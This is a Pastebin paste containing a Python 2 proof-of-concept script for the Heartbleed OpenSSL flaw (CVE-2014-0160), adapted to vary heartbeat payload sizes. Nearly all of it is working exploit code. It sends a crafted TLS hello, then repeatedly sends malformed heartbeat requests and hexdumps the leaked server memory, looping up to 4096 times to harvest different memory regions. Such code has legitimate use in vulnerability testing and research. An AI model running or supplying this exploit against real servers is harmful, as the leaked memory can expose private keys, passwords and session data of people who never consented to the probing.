Advertisement
Guest User

Untitled

a guest
Apr 12th, 2014
623
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.76 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
  4. # The author disclaims copyright to this source code.
  5.  
  6. # Modified from Jared Staffords code by Daniel Glasson to go through payload sizes so that different addresses will be allocated
  7.  
  8. import sys
  9. import struct
  10. import socket
  11. import time
  12. import select
  13. import re
  14. from optparse import OptionParser
  15.  
  16. options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
  17. options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
  18.  
  19. def h2bin(x):
  20. return x.replace(' ', '').replace('\n', '').decode('hex')
  21.  
  22. hello = h2bin('''
  23. 16 03 02 00 dc 01 00 00 d8 03 02 53
  24. 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
  25. bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
  26. 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
  27. 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
  28. c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
  29. c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
  30. c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
  31. c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
  32. 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
  33. 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
  34. 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
  35. 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
  36. 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
  37. 00 0f 00 01 01
  38. ''')
  39.  
  40. hb = h2bin('''
  41. 18 03 02 00 03
  42. 01 40 00
  43. ''')
  44.  
  45. badHeader='18 03 02'
  46.  
  47. curTailLength=3
  48.  
  49. variablePayload=''
  50.  
  51. badTail='01 40 00'
  52.  
  53. def hexdump(s):
  54. for b in xrange(0, len(s), 16):
  55. lin = [c for c in s[b : b + 16]]
  56. hxdat = ' '.join('%02X' % ord(c) for c in lin)
  57. pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
  58. print ' %04x: %-48s %s' % (b, hxdat, pdat)
  59. print
  60.  
  61. def recvall(s, length, timeout=5):
  62. endtime = time.time() + timeout
  63. rdata = ''
  64. remain = length
  65. while remain > 0:
  66. rtime = endtime - time.time()
  67. if rtime < 0:
  68. return None
  69. r, w, e = select.select([s], [], [], 5)
  70. if s in r:
  71. data = s.recv(remain)
  72. # EOF?
  73. if not data:
  74. return None
  75. rdata += data
  76. remain -= len(data)
  77. return rdata
  78.  
  79.  
  80. def recvmsg(s):
  81. hdr = recvall(s, 5)
  82. if hdr is None:
  83. print 'Unexpected EOF receiving record header - server closed connection'
  84. return None, None, None
  85. typ, ver, ln = struct.unpack('>BHH', hdr)
  86. pay = recvall(s, ln, 10)
  87. if pay is None:
  88. print 'Unexpected EOF receiving record payload - server closed connection'
  89. return None, None, None
  90. print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
  91. return typ, ver, pay
  92.  
  93. def hit_hb(s):
  94. global variablePayload
  95. global curTailLength
  96. print 'Going to send the following'
  97. hb = h2bin(badHeader)+struct.pack('>H',curTailLength)+h2bin(badTail+variablePayload)
  98. hexdump(hb)
  99. variablePayload=variablePayload+'00 00'
  100. curTailLength+=2
  101. s.send(hb)
  102. while True:
  103. typ, ver, pay = recvmsg(s)
  104. if typ is None:
  105. print 'No heartbeat response received, server likely not vulnerable'
  106. return False
  107.  
  108. if typ == 24:
  109. print 'Received heartbeat response:'
  110. hexdump(pay)
  111. if len(pay) > 3:
  112. print 'WARNING: server returned more data than it should - server is vulnerable!'
  113. else:
  114. print 'Server processed malformed heartbeat, but did not return any extra data.'
  115. return True
  116.  
  117. if typ == 21:
  118. print 'Received alert:'
  119. hexdump(pay)
  120. print 'Server returned error, likely not vulnerable'
  121. return False
  122.  
  123. def main():
  124. for x in range(0,4096):
  125. opts, args = options.parse_args()
  126. if len(args) < 1:
  127. options.print_help()
  128. return
  129.  
  130. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  131. print 'Connecting...'
  132. sys.stdout.flush()
  133. s.connect((args[0], opts.port))
  134. print 'Sending Client Hello...'
  135. sys.stdout.flush()
  136. s.send(hello)
  137. print 'Waiting for Server Hello...'
  138. sys.stdout.flush()
  139. while True:
  140. typ, ver, pay = recvmsg(s)
  141. if typ == None:
  142. print 'Server closed connection without sending Server Hello.'
  143. return
  144. # Look for server hello done message.
  145. if typ == 22 and ord(pay[0]) == 0x0E:
  146. break
  147.  
  148. print 'Sending heartbeat request...'
  149. sys.stdout.flush()
  150. # s.send(hb)
  151. # for x in range(0,16000):
  152. hit_hb(s)
  153.  
  154. if __name__ == '__main__':
  155. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement